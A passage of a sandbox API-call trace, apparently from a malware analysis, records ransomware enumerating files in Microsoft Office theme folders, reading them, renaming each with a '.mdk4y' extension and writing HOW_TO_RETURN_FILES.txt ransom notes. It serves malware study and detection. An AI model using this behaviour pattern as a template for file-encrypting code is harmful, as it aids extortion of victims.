dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819479200000) returned 1 [0119.562] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x21b, lpOverlapped=0x0) returned 1 [0119.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819479300000) returned 1 [0119.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819479300000) returned 1 [0119.564] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.mdk4y")) returned 1 [0119.564] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.564] AreFileApisANSI () returned 1 [0119.564] GetACP () returned 0x4e4 [0119.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.564] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819479400000) returned 1 [0119.564] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x639, lpOverlapped=0x0) returned 1 [0119.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819482700000) returned 1 [0119.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819482700000) returned 1 [0119.597] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.mdk4y")) returned 1 [0119.622] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.622] AreFileApisANSI () returned 1 [0119.622] GetACP () returned 0x4e4 [0119.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.622] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819485300000) returned 1 [0119.623] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x54f1, lpOverlapped=0x0) returned 1 [0119.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819485700000) returned 1 [0119.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819485700000) returned 1 [0119.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.mdk4y")) returned 1 [0119.629] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.629] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.629] AreFileApisANSI () returned 1 [0119.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0119.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.629] GetFileType (hFile=0x130) returned 0x1 [0119.630] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.630] AreFileApisANSI () returned 1 [0119.630] GetACP () returned 0x4e4 [0119.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROFILE", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROFILE", lpUsedDefaultChar=0x37df4c) returned 7 [0119.630] AreFileApisANSI () returned 1 [0119.630] GetACP () returned 0x4e4 [0119.630] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\7\r") returned 64 [0119.630] AreFileApisANSI () returned 1 [0119.630] GetACP () returned 0x4e4 [0119.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.630] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.630] AreFileApisANSI () returned 1 [0119.630] GetACP () returned 0x4e4 [0119.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.631] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.631] AreFileApisANSI () returned 1 [0119.631] GetACP () returned 0x4e4 [0119.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.631] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819486100000) returned 1 [0119.631] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x53b, lpOverlapped=0x0) returned 1 [0119.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819488000000) returned 1 [0119.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819488000000) returned 1 [0119.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.mdk4y")) returned 1 [0119.651] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.651] AreFileApisANSI () returned 1 [0119.651] GetACP () returned 0x4e4 [0119.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROFILE.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PROFILE.ELM", lpUsedDefaultChar=0x37dec0) returned 11 [0119.651] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819488200000) returned 1 [0119.652] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb20e, lpOverlapped=0x0) returned 1 [0119.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819489100000) returned 1 [0119.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819489100000) returned 1 [0119.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.mdk4y")) returned 1 [0119.662] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.662] AreFileApisANSI () returned 1 [0119.662] GetACP () returned 0x4e4 [0119.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROFILE.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PROFILE.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.662] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819489300000) returned 1 [0119.663] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24b, lpOverlapped=0x0) returned 1 [0119.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819489300000) returned 1 [0119.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819489300000) returned 1 [0119.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.mdk4y")) returned 1 [0119.719] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.719] AreFileApisANSI () returned 1 [0119.719] GetACP () returned 0x4e4 [0119.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.719] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819494900000) returned 1 [0119.719] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4162, lpOverlapped=0x0) returned 1 [0119.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819495100000) returned 1 [0119.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819495100000) returned 1 [0119.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.mdk4y")) returned 1 [0119.721] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.721] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.722] AreFileApisANSI () returned 1 [0119.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0119.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.722] GetFileType (hFile=0x130) returned 0x1 [0119.723] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.723] AreFileApisANSI () returned 1 [0119.723] GetACP () returned 0x4e4 [0119.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QUAD", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="QUADILE", lpUsedDefaultChar=0x37df4c) returned 4 [0119.723] AreFileApisANSI () returned 1 [0119.723] GetACP () returned 0x4e4 [0119.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Ł6(Ƌ") returned 61 [0119.723] AreFileApisANSI () returned 1 [0119.723] GetACP () returned 0x4e4 [0119.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.723] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.723] AreFileApisANSI () returned 1 [0119.723] GetACP () returned 0x4e4 [0119.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.723] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.723] AreFileApisANSI () returned 1 [0119.723] GetACP () returned 0x4e4 [0119.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.723] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819495300000) returned 1 [0119.724] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x59f, lpOverlapped=0x0) returned 1 [0119.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819496800000) returned 1 [0119.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819496800000) returned 1 [0119.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.mdk4y")) returned 1 [0119.739] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.739] AreFileApisANSI () returned 1 [0119.739] GetACP () returned 0x4e4 [0119.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QUAD.ELM", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="QUAD.ELMGIF", lpUsedDefaultChar=0x37dec0) returned 8 [0119.739] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819496900000) returned 1 [0119.739] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbba7, lpOverlapped=0x0) returned 1 [0119.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819498300000) returned 1 [0119.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819498300000) returned 1 [0119.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.mdk4y")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.754] AreFileApisANSI () returned 1 [0119.754] GetACP () returned 0x4e4 [0119.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QUAD.INF", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="QUAD.INF", lpUsedDefaultChar=0x37dec0) returned 8 [0119.754] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819498500000) returned 1 [0119.755] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x258, lpOverlapped=0x0) returned 1 [0119.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819498700000) returned 1 [0119.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819498700000) returned 1 [0119.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.mdk4y")) returned 1 [0119.781] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.781] AreFileApisANSI () returned 1 [0119.781] GetACP () returned 0x4e4 [0119.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.781] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819501200000) returned 1 [0119.787] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x90f8, lpOverlapped=0x0) returned 1 [0119.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819503000000) returned 1 [0119.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819503000000) returned 1 [0119.800] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.mdk4y")) returned 1 [0119.801] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.801] FindClose (in: hFindFile=0x6ab350 | out: 